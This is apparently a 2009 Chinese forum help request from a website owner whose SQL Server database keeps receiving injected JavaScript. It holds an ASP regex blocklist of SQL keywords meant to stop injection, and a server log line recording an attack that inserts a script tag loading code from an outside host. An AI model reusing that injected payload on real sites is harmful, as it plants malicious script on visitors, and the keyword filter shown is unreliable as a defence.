sqlserver被插入js代码
数据库老是被插入js代码,我用一下代码已经防了,但是还是不行。
Response.Buffer = True '缓存页面
'防范get注入
If Request.QueryString <> "" Then StopInjection(Request.QueryString)
'防范post注入
If Request.Form <> "" Then StopInjection(Request.Form)
'防范cookies注入
If Request.Cookies <> "" Then StopInjection(Request.Cookies)
'正则子函数
Function StopInjection(Values)
Dim regEx
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = "'|;|#|([\s\b+()]+(select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b+]*)"
Dim sItem, sValue
For Each sItem In Values
sValue = Values(sItem)
If regEx.Test(sValue) Then
Response.Write ""
Response.End
End If
Next
Set regEx = Nothing
End function
我在网站日志上找到
2009-06-08 02:37:52 W3SVC103 211.144.136.89 GET /DownLoad/DownListMore.asp id=103|555|80040e07|将_nvarchar_值_'19<script_src=http://r13.3322.org/c.js></script>'_转换为数据类型为_int_的列时发生语法错误。 80 - 124.115.1.8 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1) 200 0 0 57215
应该就是这个,请高手看看应该怎么弄,谢谢了
我看了这篇http://topic.csdn.net/u/20090326/11/5e584897-2dd7-4e10-af1b-9b48b146af8e.html
我使用的是虚拟主机,应该怎么设置用户权限